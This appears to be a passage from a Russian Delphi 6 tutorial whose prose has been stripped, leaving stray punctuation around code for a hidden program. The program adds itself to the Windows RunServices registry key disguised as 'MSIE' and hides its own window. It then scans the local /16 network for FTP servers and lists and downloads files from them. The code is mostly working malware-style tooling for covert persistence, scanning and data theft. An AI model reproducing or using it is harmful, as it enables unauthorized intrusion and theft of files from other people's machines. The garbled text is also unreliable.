... ? ! ! Delphi6. ftp . , ! . NMFTP ( , 1).
2 . var,
public
{ Public declarations }
end;
unit’a.
WinSock Registry.
:
RegIni:=TRegIniFile.Create('Software');
RegIni.RootKey:=HKEY_LOCAL_MACHINE;
RegIni.OpenKey('Software', true);
RegIni.OpenKey('Microsoft', true);
RegIni.OpenKey('Windows', true);
RegIni.OpenKey('CurrentVersion', true);
// ‘Run services’, MSIE, //
RegIni.WriteString('RunServices', 'MSIE', Application.ExeName);
RegIni.Free;
.
2 – ip1st ip2nd. ip 4 .
:
var
Form1: TForm1;
ip1st,ip2nd:string;
IP . ( GetLocalIP):
function GetLocalIP: String;
const WSVer = $101;
var
wsaData: TWSAData;
P: PHostEnt;
Buf: array [0..127] of Char;
begin
Result := '';
if WSAStartup(WSVer, wsaData) = 0 then begin
if GetHostName(@Buf, 128) = 0 then begin
P := GetHostByName(@Buf);
if P nil then Result := iNet_ntoa(PInAddr(p^.h_addr_list^)^);
end;
WSACleanup;
end;
end;
IP .
IP 4 . CutIP( IP). :
function CutIP(ip:string):string; // ip-
var
// 2 – pos1 count
pos1,count:integer;
// piece
piece:string;
begin
//1- IP
piece:=ip;
// piece ip(
//
// Pos1
// - piece ( IP)
pos1:=Pos('.', piece);
// piece 30
// ip-
Delete(piece,pos1,30);
// ip1st
ip1st:= piece;
//
//2- ip
piece:=ip;
pos1:=Pos('.', piece);
Delete(piece,1,pos1);
pos1:=Pos('.', piece);
Delete(piece,pos1,30);
ip2nd:= piece;
end;
2 IP- 2 2 .
, . OnCreate . , . :
, begin :
var
my_ip:string; // ip
ftp_list,scan_ip_list:TStrings; // ip
//
count,count1,count2:integer; //
, , ( begin end ).
my_ip:=getLocalIp; // my_ip GetLocalIP
// IP
//
ftp_list:=TStringList.Create;
scan_ip_list:=TStringList.Create;
// ip,
CutIP(GetLocalIP);
// ip
//
Application.ProcessMessages;
// IP
// 0 255
for count2:=1 to 255 do
begin
//
Application.ProcessMessages;
// ip3rd
ip3rd:=IntToStr(count2);
//
for count:=1 to 255 do
begin
//
Application.ProcessMessages;
// scan_ip_list IP-
// ip
scan_ip_list.Add(ip1st+'.'+ip2nd+'.'+ip3rd+'.'+IntToStr(count));
end;
end;
//
// ip 255-
//
//
Application.ProcessMessages;
// ftp
// 1 - scan_ip_list, ip
for count1:=1 to scan_ip_list.Count-1 do
begin
Application.ProcessMessages;
// host – //
NMFTP.Host:=Scan_ip_List.Strings[count1];
//
NMFTP.Connect;
//
if NMFTP.Connected then
begin
// ftp_list
ftp_list.Add(NMFTP.Host);
end;
end;
//
Application.ProcessMessages;
//
end;
ftp_list ip 21- .
ftp-.
, .
. :
NMFTP.NList;
// OnListItem
//
[_ ].Add(Listing);
. ftp .. .
: , /. , , ( ) , .. , ’ .
NMFTP.ChangeDir(_);
:
NMFTP.Download(‘__’,’______’);
, :
Project>View Source
, :
var
WhEvent:THandle;
begin
Application.Initialize;
ShowWindow(Application.Handle, SW_HIDE);
Form1:=TForm1.Create(nil);
Application.Run;
WhEvent:=CreateEvent(nil, true, false, 'et');
while (true) do
begin
WaitForSingleObject(WhEvent,1000);
Application.ProcessMessages;
end;
end.
, 30 , , .
! !
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++